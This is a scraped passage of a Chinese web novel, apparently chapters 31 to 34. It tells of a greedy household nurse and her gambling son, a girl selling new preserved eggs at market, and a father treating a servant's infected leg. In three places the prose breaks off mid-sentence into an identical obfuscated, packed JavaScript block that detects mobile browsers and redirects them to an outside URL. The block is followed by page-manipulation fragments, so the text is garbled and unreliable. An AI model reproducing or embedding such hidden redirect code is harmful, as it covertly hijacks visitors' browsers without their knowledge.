晌午，绣橘领着芸豆、荔枝两个小丫头在廊下做针线，史妈妈捧着个茶壶，歪在不远处的躺椅上打盹儿、晒太阳。 绣橘有些抱怨似说道：“我听说汴京的大户人家，家里都养着绣娘，要是咱们府上也有就好了，这样就不用自己紧赶慢赶做衣裳了。春装才做完没多久，眼瞅着过些日子又要做夏装…… 不过，话又说回来，咱们姑娘也真是好福气，虽自小失怙，可有梅娘子这位婶娘疼她，比别的小主子也不差什么。今儿早上梅娘子还同姑娘说呢，近来得了些上用的宫缎，颜色娇嫩，让姑娘挑几匹留着做衣裳穿。” 接着，她又叹了口气，声音不大不小，状似无意道：“唉，我在姑娘旁边，打眼瞧着，里头有一匹青绿色的，当真是好看极了。要是拿它做成嫁衣，哪怕只穿一回，这辈子都值了。可惜我们只是小丫头，没这个福分。谁家要是能有这样一匹料子，下定时可不得出尽风头。” 芸豆年纪小，虽还不懂出嫁不出嫁的，也傻乎乎接了一句：“那姐姐可得仔细挑挑，说不定真能找到这样的人家。” 荔枝机灵些，偷偷瞄了史妈妈一眼，却没吭声。 不远处，史妈妈端着茶壶的手顿了顿，眼睛半眯着，仿佛没听见。可心里却像被猫爪挠了一下，难受得紧。 她有个儿子，年方十八，正是该娶妻生子的年纪，可婚事却一直没个着落。虽然自己也攒了些钱，但上用的宫缎，那是有钱都买不到好东西啊。没听见绣橘那死丫头都眼馋的很？要是能有这么一件宝贝，将来挑媳妇时岂不是更有底气？ 她倒没疑心是绣橘故意诳她。一来那几个丫头根本不知道她醒着；二来这段日子以来，芳汀阁上上下下从兰娘起，都对她敬重有加，量绣橘也没这个胆子。 再者，起初史妈妈也怀疑过，可兰娘格外“倚重”她，遇事便问“妈妈觉得如何”，份例里的好茶食，也总是叫人分一份给她，美其名曰“妈妈辛苦，做女儿的孝敬”，隔三差五还让小丫头拿了钱，去市集买些好酒好菜来招待她，又额外给她钱去耍牌九。 如此几次下来，见兰娘始终是一副柔弱好欺的模样，绣橘也不敢与她争锋，史妈妈便彻底放了心。只当是主仆俩终于学乖了，知道要仰仗她、讨好她。于是，那点子疑心也消散了，行事越发没有顾忌起来。 如今那一缕被绣橘的话勾起来的贪念，如同见了春雨的野草，疯狂滋长，再难收拾。 晚些时候，梅娘子院里的丫头来送料子，里面果然有绣橘说的那匹青绿色的宫缎，颜色华美，流光溢彩，史妈妈心中更加确信下午偷听来的话不假。 只是，还没等她来得及找个机会开口讨要，家里新买的小丫头荷香就火急火燎地跑了来。 “妈妈，不、不好了，家里、家里出事了！” 史妈妈被她这一嚷，唬了一跳，竖起眉毛就骂她：“遭瘟的小贱蹄子，嘴里没一句吉利话，且把你舌头捋直了再说不迟！” 荷香挨了骂，头都不敢抬，等史妈妈骂够了，才怯怯地说道，她儿子燕哥儿不知怎的，与人起了口角，被打得浑身是血，抬了回来，现下抬他回来的竹椅子还在堂屋里搁着呢，人家说了，不给五贯钱不肯走。 史妈妈“诶呦”一声，脚下一软，险些从台阶上栽下去，嘴里一面骂着荷香，怪她这么重要的事情怎的不早些说，一面又赶紧连滚带爬地往家赶，生怕自己的宝贝疙瘩有个闪失。 “你们猜怎么着？” 陈府第一狗仔翠姐儿，正得意洋洋地在两个好姐妹面前卖弄玄虚。 说的便是那日史妈妈儿子被打的事情。 也不知她又是从哪里弄来的消息，说的有鼻子有眼的。 这会儿刚过巳时，大厨房里无事可做，胡姣这三个小丫头索性聚在一起说闲话。 喜姐儿自从离了那糟心的一家子，性子也变得开朗许多，见翠姐儿故意她们吊胃口，伸手上去，作势就要拧她的痒痒肉。 “坏蹄子，你还不快说，急死人了，再啰嗦，有你好果子吃！” 胡姣也跟着连连点头：“就是，就是，再卖关子，下回零嘴儿可没你的份儿了，让你干看着我和喜姐姐吃！” 翠姐儿赶忙作揖求饶，这才把打听来的消息一五一十地倒出来。 那天，史妈妈的儿子燕哥儿在赌坊耍钱，输急了眼使诈，抓了一把铜板就想溜，被赌坊伙计拦了下来。燕哥儿随了他娘的脾气，横惯了，不但骂人家出千儿，还动手推人，结果自己一个不小心从楼梯上滚了下来。不仅跌得满脸血，还压折了一条腿。 人家赌坊倒也讲规矩，并没动他一指头，反倒派了人赁了一个竹椅子把他抬了回来，只叫史妈妈赔燕哥儿输的钱与赁竹椅子的费用，总共加起来五贯。 史妈妈那是个油锅里的钱都要捞两个起来花的人，哪里肯给？与赌坊的伙计撕扯了一番。可人家就是做这个勾当的，三教九流的，什么人没见过？本来还想着他们孤儿寡母，燕哥儿又跌折了腿，多少给三分薄面， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16303265|180140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁知史妈妈居然蹬鼻子上脸。顿时也不客气，自己翻箱倒柜，到底搜罗了五贯钱才走。 “要我说，还不如直接了当给了，那赌坊的伙计个个五大三粗的，把史妈妈那老婆子家里翻了个底儿朝天，什么衣裳、鞋袜、被褥都散了一地，就连碗都打碎几个。” 翠姐儿绘声绘色地说着，仿佛她亲眼看见一样。 胡姣和喜姐儿听得入了神，一时觉得燕哥儿果然随根儿，真不是个东西，一时又觉得史妈妈怕是真的脑子不好，和赌坊的人都敢叫板，也不怕被打了。 但其实，若真让史妈妈选，挨一顿打和赔五贯钱，她宁可选挨打。她心想，自己一个老婆子，赌坊的人未必真下得去狠手；可钱要是没了，那就真的什么都没了。 别看她这些年在王娘子身边鞍前马后，甚至连兰娘有时都要看她脸色，好似风光无限，可实际上，手里根本没攒下几个钱。 一则王娘子手紧，不像二房的梅娘子一样经常打赏下人，就是偶然想起来，也不过是赏些不穿的旧衣裳，真金白银几乎没见过。 二则她儿子燕哥儿一直没个正经差事，整日里不是吃酒就是耍钱，时不时还要买些好肉食来打牙祭。她一个月也不过六百文的月钱，哪里经得住这般开销。所以，这才把主意打到了兰娘身上。 起初，史妈妈还不敢太过分，只是偷偷拿些兰娘没动过的好吃食，或是借外出采买的机会昧几个小钱。后来，见王娘子从不过问，她的胆子也越来越大，欺上瞒下、克扣盘剥，最后竟连兰娘的银钱，甚至首饰、衣料都敢顺手牵羊。 兰娘性子软，绣橘人微言轻，在王娘子面前也说不上话。一时间，整个芳汀阁，竟就被这么一个老婆子拿捏得死死的。 就比如眼下，儿子燕哥儿不争气，她好不容易攒下的十来贯钱，一下子就赔出去了三分之一。她心疼得刀割一般，可又舍不得真怪自己儿子，便又想把这笔损失从兰娘那儿找补回来。 不过，经过这一番折腾，她也觉得不能再由着燕哥儿这么混下去了。或许，是该给他说房媳妇了？老话说成家立业，先成家后立业。说不定娶了亲，有人终日里好生劝着、管着，燕哥儿就能长进了呢？这个心思一动，她不禁又想起绣橘说的那番话…… 史妈妈的这些算计，大厨房里的胡姣三姐妹自然毫不知情。此刻她们正商量明天休假一同去街上玩耍的事。 胡姣说这两日她琢磨出一样新吃食，叫“琥珀蛋”，明日轮休，打算带到市集上，看卖不卖得动。 翠姐儿也攒着假没休呢，现下一听就来了劲，扯着胡姣的袖子连声道：“我也去！” 说完又一把拉住旁边的喜姐儿，“喜姐儿，你也一起，咱们仨有个伴儿。” 喜姐儿却比她想得周到些：“我们都走了，这大厨房里的差事可怎么办？总不能全都丢开手。” 翠姐儿顿时像被戳破的皮球，撅着嘴不说话了。 喜姐儿看她那模样，不由笑起来：“这样罢，你俩先去。我等早食忙完了，和我娘说一声再出来寻你们，晚食前赶回来便是了。” 她口中叫得亲切自然的“娘”，正是认了干亲的张婆子。自从两人结了这份母女缘，感情日益亲厚，倒比寻常亲母女还要好，“干娘”的“干”字早就省去了，一口一个“娘”叫得热络。 见喜姐儿安排得如此体贴，胡姣和翠姐儿都喜笑颜开，一左一右抱住她的胳膊，连摇带晃，不住地夸她。 32. 第 32 章 已经是五月底了，白天渐渐长了起来，还不到卯时，天就亮了，光透过纸糊的窗户，照进屋里。 胡姣一向觉浅，天亮了更加睡不着，干脆起身，披了衣服到外间。 从洗漱架子上拿了刷牙用的鬃毛刷，准备洗脸刷牙。 还记得刚来的时候家里穷，买不起牙粉，只能用青盐，如今早就换了。 牙粉是在常去的那家进原料的南货铺子买的。老板很实在，说是老顾主了，只收十五文一盒。 当然这个价格用料肯定不会太好，只是在青盐的基础上加了薄荷、皂角、茉莉籽等普通药材。 据说，更高级的牙粉，还会添加沉水香、白檀香、苏合香等名贵香料，不过价格也贵。单单一两沉水香，市价就超过十贯钱，约等于陈二郎这个推官相公一个月的月俸，更不用说还要加上其他配料，以及复杂的制作工艺。这样的牙粉，一小盒就得将近一贯钱，普通人可用不起。 胡姣知足常乐，能有寻常牙粉使就很好了。 天暖起来后，胡姣就不再烧水洗脸了，直接就着水缸里的水，舀了一瓢。洗完脸，把水泼到门口新开辟的一小块菜地上。 这时节，春菜已经老了，夏菜还未长成，天气又一天热过一天，菜价自然也涨了起来。上次孙阿嫂买了一把菠菜，居然要三文钱，回来后直念叨比鸡蛋还贵，倒不如不吃了。 胡姣见院里有空地，便问刘氏能不能用来种菜。刘氏也拿不准，毕竟这是主人家拨给下人住的，这么多年也没见有人在这里种过菜。还是她爹胡舫打听了一圈，说可以种，只要别弄得乱糟糟或是臭气熏天的就行。 胡姣便用小锄头开垦了一块两米见方的小菜地，里面种上了苋菜、韭菜、壅菜（空心菜）、蛮瓜（丝瓜）这四样耐旱易活的菜，如今都长出了绿油油的叶子。长得快些的韭菜，已经割了一茬，用来做成韭菜盒子香的不得了。 院子里的其他邻居看见了，也纷纷效仿，如今家家都有一小块菜地。哦，除了金桂家。 那天，胡姣给菜地松土时，金桂娘正倚着门磕瓜子，还嘲笑她天生是个农家女，进了府里也摆脱不了土气，上不了大台面。可后来看到胡家吃上自家种的菜，又见其他邻居效仿时，她忍不住又酸溜溜的。 有人劝她也种一块，能省几个菜钱。她却如松柏高洁，不能同流合污一般，给人家撅了回去，说自家有金桂的月钱，还有二姑娘隔三差五的赏，不缺这点儿。 再后来，院子里的菜熟了，大家你分我我分你，邻里关系很是和睦了一阵，只是都不约而同地跳过了金桂家。又把金桂娘气得够呛，认为这是在故意孤立她。 洗漱完，胡姣又去灶下烧了一锅水，准备做一锅皮蛋瘦肉粥。皮蛋是胡姣根据前世记忆琢磨出来的，因为颜色金黄纯净如同琥珀，所以又给它取了个好听的名字叫“琥珀蛋”。 这琥珀蛋的研制实属不易。本来是需要纯碱、生石灰作为原料的，可这两样东西却不易得，尤其是纯碱，根本没法儿提取。胡姣绞尽脑汁才想到用同属碱性物质的草木灰代替。 可不同的植物烧制成的草木灰，所含碱性成分还不相同，胡姣试了好几种才得出比较合适的配比。用一半儿的硬木灰和一半儿的秸秆灰，碾碎混合均匀，加水过滤，得到的灰水，碱性是最合适的。 制作时除了提供碱性的灰水，还需要盐和鸭蛋。先将鸭蛋洗净，放入煮开并晾凉的盐灰水中，浸泡十天以上，然后再取出。 接着，用浸泡剩下的盐灰水拌上米糠，均匀包裹住鸭蛋，再将裹好的鸭蛋一层层码好放进铺了稻草的缸里。 最后，用稻草封顶，盖上盖子，密封十五到二十天，等到鸭蛋摇晃时，不是流动的水声，就说明成熟了。 最近天气渐热，胡姣的这一缸琥珀蛋总共只腌了二十五天，前两天敲开时已经是金黄剔透了。整体偏软，切开的蛋黄带有溏心，吃起来口感柔和，并没有一般的皮蛋那种涩味，反而还有淡淡的草木清香。胡舫、豆哥儿两个人，空口都能吃三四个。 皮蛋瘦肉粥做法简单，味道却十分可口，是前世胡姣最爱的粥之一。 大米淘洗好，水开下锅。锅里加入一小勺清油，可以让粥的口感更加顺滑。再次沸腾后减小火势，保持中小火炖煮，直到汤汁浓稠。 这时下入切得极碎的瘦肉末，用勺子推散，变色后再加入大小均匀的皮蛋碎，再稍微炖煮一会儿，加入少许盐、菌菇粉、胡椒粉，搅拌均匀，一锅浓香扑鼻的皮蛋瘦肉粥就做好了。 粥底绵密细腻，皮蛋咸鲜入味，瘦肉嫩滑不柴，出锅前再滴上几滴香油，香的能让人吞掉舌头。 刚把饭做好，就听见院子里传来熟悉的声音。 “椒姐儿，我来了。” 是翠姐儿。昨天胡姣和她说早些来，一起吃早食，这个馋猫儿果然来得够早。 “翠姐姐，这里！”胡姣怕她吵到其他邻居，赶紧探出头，用手招呼她过来。 两个人在厨房里吃着早食。翠姐儿喝了一碗又一碗，额头上都是沁出的汗珠子，嘴里不住地念叨“好吃”。 等吃完了饭，天也已经大亮了，院子里的其他人开始走动。春儿、豆哥儿两个人，洗漱完也来喝粥。晓得今天要出新品，两个豆丁不敢耽误，麻溜吃完饭就准备出发。 到了市集堪堪辰时。四人放下各自背着的小竹篓，支起摊子，开始叫卖。 为了更好推广，胡姣还特意准备了试吃。每颗琥珀蛋都被切成拇指大小，整齐地摆放在竹编的小托盘里，旁边是胡舫帮忙削的一根根圆润光滑的竹签子。 胡家的吃食摊子在南市口也算是小有名气，从最开始的焦糖米花、海棠冻、怪味花生，到限量出货的蛋黄酥、固元糕，虽然产品种类不多，可每一款都是爆款。因此，这一片的小商贩和顾客几乎就没有不认识春儿和豆哥儿的。 此刻，见这架势便知道是又出新品了，于是赶忙上前打听。 “小哥儿，这又是做啥好吃的了？” “嚯，瞧这颜色，金黄金黄的，多好看呐。” 胡姣见来问的人多了，便索性提高嗓音，介绍起来。 “这是我们胡家食摊出的新品，唤作琥珀蛋。大家瞧这颜色，是不是就和琥珀一样，黄澄澄的？” 也有人质疑。 “好看顶什么用，味道好才是关键。” 早知道会有这样的情况，胡姣便指了指旁边准备的试吃。 “各位叔伯、婶子，我们这小食摊子一向多承大家关照，今天特意准备了新品试吃，无论是否购买，都可以尝尝，先尝后买。” 有便宜不占王八蛋。听到她这样说，围观的人群纷纷上前拿起竹签子，戳那金灿灿的琥珀蛋吃。 这一入口，立马就感觉不同。鸡蛋、鸭蛋不过是寻常东西，谁不曾吃过，可这蛋却是说不上来。口感柔软，并不噎人，一口咬下去还有微微的流心，咸香适宜，更妙的是带着一丝若有若无的草木香气。 有几个人一吃就上了瘾，连戳好几个都还不愿意丢开手。更多的人还是要脸，只尝了一两块就罢了，可那奇妙的滋味又勾人得厉害。于是，赶紧问怎么卖。 豆哥儿早就得了嘱咐，脆生生地回答。 “三文钱一个，十文钱四个，多买多送。” 一听这价钱，有的人心里便打起退堂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325145|180140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鼓。 生鸭蛋两文钱三个，鸡蛋一文钱一个，这琥珀蛋虽不知是鸡蛋还是鸭蛋做的，可比两者都要贵上许多。三文钱一个，还不够尝个味儿的。要是买上四五个，就得十来文，天，简直和猪肉一个价了！ 也有的人觉得，这东西从来没见过，便是花个几文钱买个新鲜也没什么，更何况买三个还送一个，这不就相当于挣了三文钱吗？ 见不少人正在犹豫不决，胡姣便示意春儿再加把火。春儿收到眼色，立马责怪起豆哥儿。 “婶子都说了，这琥珀蛋做起来可麻烦了，得用到好些个贵价的香料，低于四文钱一个不卖的，你卖三文钱一个就算了，还买三送一，等回去婶子还不把你皮揭了！” 豆哥儿和春儿搭档了这么久，早有默契，当下也表现出一副害怕的样子。 “我、我忘了，这下可怎么办？” 又戏精上身般，脸带苦笑，冲围观的人群哀求道： “各位叔伯、婶子，方才是我年纪小，记错了数儿，这琥珀蛋原是四文钱一个，你们千万别同我计较，不然我回去没法同家里交差……” 话还没说完，就有人叫嚷起来。 “这怎么能行，说出来的话还能收回么？说好了三文就是三文，怎么能变卦呢？” 说话的是一个方脸的汉子。方才他试吃了好几块，本来还在纠结，三文钱一个，他至少也得买四个才能够吃，那就是十文钱，他有些舍不得。 往常他都是在陆家脚店买一碟子切好的猪肝、猪心、猪肠子，他家这些杂碎做得味儿好，价还便宜，这样一碟子杂拼只要十二个钱。再配上店里的新酒，一口肉，一口酒，滋味别提多美了。 所谓新酒，就是粮食酿造的短期发酵酒，口感清爽，价钱便宜，是普通百姓日常饮用的首选。 不过，酿酒可不是什么人都能做的，违者可能会被处以罚金，甚至是死刑。原因就在于本朝实行酒榷制度，规定只有极少数资本雄厚的正店才有酿酒权。获得授权的正店向官府购买酒曲配额，再酿制出酒水批量卖给合作的脚店。 比如，西街的陆家脚店，虽然自家不酿酒，可因着与府城的正店“酒仙居”有长期合作，店里酒水四季不断，价格也比酒仙居的更平价一些。 方脸汉子原本还觉得，这什么“琥珀蛋”，再怎么样还不就是个蛋？价格倒和肉食差不多，怎么看都不合算。可当听到春儿的话后，他又立马感觉这便宜得占啊。原价四文钱一个，四个就是十六文，现在只要十文钱，那可不就平白赚了六文钱？ 于是，听见豆哥儿要恢复原价，赶紧出声叫停。 其他人见他这样，也觉得这是难得的便宜，纷纷要求不能涨价。 “小哥儿，你同这个姐儿也是南市口说得上的人物了，怎好出尔反尔不是？” “就是就是，我们又不白吃，多多地买你的，薄利多销懂不懂？” 胡姣见气氛到了，于是便出面道：“都是街坊邻居，既然我弟弟说了，那就按这个价来吧。只是还请各位叔伯、婶子见谅，我们本小利薄，承担不起，你们千万不要买太多。另外，这个价格就卖三天，之后就要恢复原价。” 这些人满口应承，手下却是飞快地挑拣，每个人都至少买了十几个，生怕买少了吃亏。最后，不到一个时辰，带来的四个竹篓全都卖空了。还有许多人从别人那里听说了，专门赶过来，却没买到的，急的直跺脚，怨怪胡姣等人怎的不多带些。听见胡姣承诺明天还会有，这才恋恋不舍地走了。 一旁打酱油的翠姐儿哪里见过这阵仗，早就被胡姣这一套组合拳打蒙了。回去的路上，一个劲儿地夸胡姣头脑灵活。 33. 第 33 章 “就是豆哥儿记错了价钱，不然今天还能挣更多哩！” 翠姐儿砸吧着嘴，颇有些惋惜地说道。 “噗嗤！”春儿和豆哥儿一时没忍住，笑出了声。 翠姐儿还有些摸不着头脑，她这话很好笑吗？ 还是胡姣替她解了惑。 “好姐姐，你怎地这般实诚？咱这琥珀蛋再稀奇，说破天去也只是个蛋。若真卖四文钱一个，哪还有傻子来买？” “如今卖得红火，不过是大家见豆哥儿年纪小，只当他记错了价，觉得捡了便宜。再加上‘买三送一’，摊下来一个蛋也就两文半，不算肉疼，这才争相来买。” 翠姐儿似懂非懂，眨着眼又问：“那三日过后恢复原价，还会有人买吗？” 胡姣抿嘴一笑，十分从容。 “这琥珀蛋虽说用料平常，做起来却极费工夫。家里那点存货，顶多也就够卖这三日的。之后再想买，可得等上二十天。” “到时候，吃过的人早已想了，没买着的更是心痒。待下一批出货，咱们再打着‘回馈老主顾’的名头，略降些价，限量发售，还愁没人抢么？” 翠姐儿听得目瞪口呆。 好家伙，生意还能这么做？椒姐儿这脑袋是咋长的，怎就能想出这许多鬼灵精的点子？ 胡姣但笑不语。心道营销这门学问，在这连广告为何物都不知的年月，简直堪称“降维打击”。 正说着话，突然，翠姐儿一拍脑门。 “哎哟！坏了！喜姐儿先前说好了要来市集寻我们的！” 胡姣也是一顿。糟糕！竟把这事忘得干干净净！ 于是，四个人又赶紧往回走，到了地方果然见喜姐儿满眼怨念的站在原地。 胡姣与翠姐儿赶忙上前，连连作揖告罪，只说是今日生意太忙，一时昏了头。 幸而喜姐儿性子宽和，见她们诚心，那点不快也就烟消云散了。 一行人说说笑笑往家走。胡姣邀大家去她家用饭，说家里有一条好鱼，正好拿来做成爆鱼，最是下饭。 要用来做爆鱼的鱼，是一条半米多长，重达十几斤的草鱼。这般个头，在市面上还是很少见的。不过，这鱼不是买的，而是二门上的一个叫顺子的小厮前天送来，孝敬她爹胡舫的。 一个月前，顺子的爹不小心跌伤了腿，却舍不得银钱，硬熬着不肯去医馆。拖了几天，伤腿都肿得发紫了，还隐隐有股臭味。 不得已请了一个游方郎中来，那人一瞧便摇头，说这条腿已是废了，要么锯掉，再用人参、鹿茸等药好生养着，要么就等着毒疮蔓延，烂到身上。 家里穷，顺子娘又走得早，只有顺子和他爹相依为命。 当初为了送他来府里谋差，顺子爹白天去码头扛大包，晚上下河捕鱼捞虾，不到四十的年纪就已经鬓发半白。好容易攒钱托人把顺子送进陈府，眼看日子稍有起色，谁想到却出了这样的祸事。 顺子爹自觉时日无多，不愿意白费银钱，说什么也不肯治。顺子不过十一二岁的年纪，心里又惊又怕，当值时常魂不守舍、暗自垂泪。 那天，胡舫下值回来，瞧见他一个人躲在背风处哭，便上前询问，得知遭遇，又联想起自家儿女，不免生出恻隐之心。 他常年在外奔波，是懂一些跌打损伤的处理的，家里也有相应的药酒、药粉。便提出随顺子去看看他爹的伤势。顺子忙不迭给他磕了个头，又在前头引路。 到了顺子家，胡舫先环顾一圈，发现确实家徒四壁，除了一张土炕、两床旧褥、两把破椅，竟再无像样家什，连碗都寻不出一个周全的。 顺子爹见生人入门，只当儿子在府里惹了祸，急得挣扎着要起身。胡舫忙说明来意。 顺子爹闻言，先谢过胡舫的好意，然后便给他看了自己罩在被子下的腿。 胡舫一瞧，也是吓了一跳。整个右腿已经肿的发黑，皮肤快被淤血撑破，不时还有恶臭飘来。这等伤势若再延误，怕是神仙也难救。 “老哥哥，你这腿伤耽搁得太久。以至于淤血壅塞，生出毒气。若再不理会，莫说腿保不住，只怕性命也有碍。” 顺子爹见胡舫和游方郎中说的差不多，心知自己怕是难逃一劫。只得强撑着苦笑：“便是这个命了，只是拖累顺子……” 顺子在一旁听着，眼泪滚滚落下，却忍着不肯哭出声。 胡舫最重情义，见此情景，不免动容，出声宽慰道： “也未必就全无指望。我早年在汴梁时，识得一位老郎中，最擅治这等痈疮，他与我投缘，也传过几个土方子，或许可以一试。只是，过程中怕是要吃足苦头，且我也无甚把握。” 顺子一听尚有转机，如同抓住了救命稻草，连连磕头。 “胡大叔，求您救我爹！多大的苦头我们都能吃。便是、便是只有一成把握，也求您试试。您的大恩大德，顺子将来做牛做马报答您！” 胡舫赶忙扶起他。 “谈什么报答。我这就回家取药具，你烧些热水备用，再找些洁净的布来。” 说罢，胡舫便匆匆返家。 刘氏还问他怎的这个时辰才回来，留的饭都凉了，要不要热一下。 胡舫便将偶遇顺子的事情说了。 刘氏听了也是唏嘘不已，赶紧把他要的东西找了出来。还额外拿了一些布条子，说顺子家这样穷，未必有多余的布，这些布条子是她准备给豆哥儿做小裤儿的，已经洗过了，都是极洁净的，让他先带着，或许用得上。 胡舫接过她递来的东西，又赶回顺子家。 让顺子按住他爹，他要先放出这腐坏的恶血，才能上药。 小刀用烈酒浸过，又在火上烤了一遍，接着手起刀落，在那肿胀发黑的腿上划开一道小口，黑紫腥臭的脓血立时涌出。 顺子爹痛得浑身痉挛，额上青筋暴起，却硬是咬着牙一声没吭。 胡舫用力挤压，直至流出鲜红血液，才用温水擦拭干净，敷上厚厚的药粉，最后用刘氏给的布条包扎妥当。 擦了擦额头的汗，胡舫叮嘱顺子道： “这药有一定的止血消肿作用。每日换一次，注意不要沾到水。我再留些药酒，内服外敷，效果更好些。” “可惜，我医术有限，没有更稳妥的法子。你爹能否熬过去，就看这三五日了。若是发热，便用冷帕子擦拭周身，只要退热了，便有几分能成事。” 当天晚上，顺子爹果然发了高热，昏昏沉沉说起胡话，顺子衣不解带地在旁伺候。 或许是胡舫的法子起了效，或许是顺子爹命不该绝，三四日后，高热竟渐渐退了，人也清醒过来。虽仍虚弱，但那腿上的肿胀竟也消下去些许，伤口处不再发黑发紫，而是透出鲜活的红色。 又调养了十来日，伤势逐渐好转。虽腿脚终究落了些残疾，不如以往便利，但性命终究是保住了。 顺子爹感激涕零，视胡舫为再生父母。只是家中贫瘠，无以为报。恰巧前日同人一起打鱼，谁想到竟有如此好运，捞到一条罕见的大草鱼。顺子爹自己哪里舍得吃，立刻就让顺子赶紧给胡家送来，聊表谢意。 胡舫推辞不过，这才收下。胡姣见她爹拎回这么一条硕大无比的草鱼，也是惊喜非常。 泰和县水泽丰沛，鱼类众多，价格也相对贱一些。草鱼是河鱼中比较便宜的一种，一斤大约三四文钱，这一条大草鱼也就五十文上下。而且鱼越大，肉质越粗糙，许多人家都不愿意买这么大的。 不过，胡姣却不介意， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16329745|180140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一条大鱼，正好拿来剁了，腌制一番，做成爆鱼，想想那滋味，简直口水都要流出来。 胡姣要做的爆鱼是苏州口味。前世她有个室友是苏州人，实打实的富贵花，平日里十指不沾阳春水，偶然展露一番，能把一宿舍都送进急诊，堪称厨房杀手。唯独这一道苏式爆鱼做的最好，据说是传自她外婆，每次做都能听取赞声一片。后来，她因为工作调动，不得不搬走，临行前把这道菜教给了胡姣。 做苏式爆鱼，最好选用五斤以上的大草鱼，肉质松软，炸出来金黄酥脆。先将鱼处理干净，沿脊背剖开，剔除主骨，将鱼肉切成两指厚的块状，再加入葱、姜、料酒、盐、花椒粉腌制入味。 与此同时，调制一锅酸甜咸香的酱汁。锅中加水，放入八角、桂皮、香叶，煮至沸腾，然后倒入适量的冰糖、酱油，不断搅拌直到冰糖完全融化，汤汁微微发稠。这时，将汤汁倒出，再加入一些香醋与少许花雕酒，等冷却后就可以使用了。 腌好了的鱼块，油温五成热时下锅，炸到定型捞出，然后提高温度，再次炸至金黄酥脆。炸好的鱼块趁热浸入冷却的酱汁中，使其吸饱汤汁。通常浸泡半个多时辰就可以吃了，也有人喜欢泡着隔夜，第二天再吃。但胡姣觉得那样鱼肉太过软烂，没有口感。 泡好的爆鱼，外皮还是脆的，里面的肉却渗透了甜咸交织的酱汁。咬一口，肉的焦香、汁水的鲜香一齐涌了上来。让人忍不住上头，吃了一块再吃一块。 另一边，南市口一个家丁打扮的人跟着一个穿着褐色交领袍、戴着襆头的中年人，正在四处找人。 “贾经纪，你确定是这里吗？” 家丁看着面前的空地，一脸狐疑地问着旁边的中年人。 贾经纪，名唤贾仁，是泰和县的一个牙人。 所谓牙人，就是中介，通常作为第三方，为买卖双方搭建桥梁，确保交易顺利进行。 不同的领域有不同的牙人，比如负责粮食交易的是米牙，负责布匹交易的是绢牙、布牙，负责牲畜交易的是马牙、牛牙，负责房屋租赁的是房牙。根据性别的不同还可以分为男牙、女牙，女牙人又被称作牙婆或牙嫂。 牙人也分三六九等，有官方发给身份牌照的是官牙，信用好，牙钱也高；没有牙贴，私下从事中介活动的被称为私牙，严格来说是不合法的，但因为牙钱低廉，所以在市井也颇有行情。 贾经纪就是一个没有牙贴的私牙，做的事情比较杂，什么买铺赁屋、买米卖布、买卖牲口，乃至问话找人、帮闲跑腿，简单来说，只要给钱，就没有他不干的。 一般的人都喊他贾牙人，尊重些的，叫一声贾经纪。 这个家丁，自称是知州相公府上的。他家的大娘子回来省亲，偶然间吃了一个叫琥珀蛋的东西，惊为天人，让他出来打听打听是哪里卖的，再多多地买些回来，她要带回去送人用。 家丁人生地不熟的，哪里找什么琥珀蛋，只好花几个钱找牙人打听。他又舍不得找那价钱高的官牙，在西街盘旋了好一会儿，恰巧被贾经纪看见。 贾经纪何等老辣，一眼就瞧出来这是个外地人，立马上前搭话。得知对方在找琥珀蛋，立马拍胸脯保证，不出一炷香准带他找到。又见他犹豫，还说找不到便不收牙钱。 家丁一听，还有此等好事，便忙不迭地跟着贾经纪走了。 谁知，两人走遍了西街也没找到，还是贾经纪问了一个卖梨子小哥儿才知道，那是南市口一个小食摊子上卖的。于是，又急忙赶去。 不过，地方虽然找到了，却是人去楼空，啥也没有。 家丁怀疑贾经纪在溜他，一脸的不相信。 贾经纪额头上汗也是涔涔而下。咋回事，不是说就在这里吗？没走错儿啊。 34. 第 34 章 那家丁跟着贾经纪走了大半日，早已腿脚酸软，喉间冒火，心里头直懊悔。早知这般折腾，当初真不该贪那几分便宜，合该多花几个钱找官牙才是正经。 贾经纪何等精明人物，瞧出他面色不虞，忙堆起笑脸赔不是，好话说了一箩筐。又见路旁有个茶摊，忍痛自家掏了一文钱，买了一碗凉茶与他，叫他先在这里歇脚，自己再去打听。 家丁见他这般会做人，也乐得休息片刻。横竖没给牙钱，还白饶了他一碗茶吃，怎么看都不亏。 贾经纪见他面色稍霁，暗暗松了口气。他可不是冤大头，也不是钱多烧得慌，这般殷勤周到，不过是放长线钓大鱼。先稳住这家丁，等买卖成了，还怕捞不回本钱？何况是知州府上的大娘子要的东西，到时候赏钱能少得了？只是这卖琥珀蛋的，究竟在哪里？ 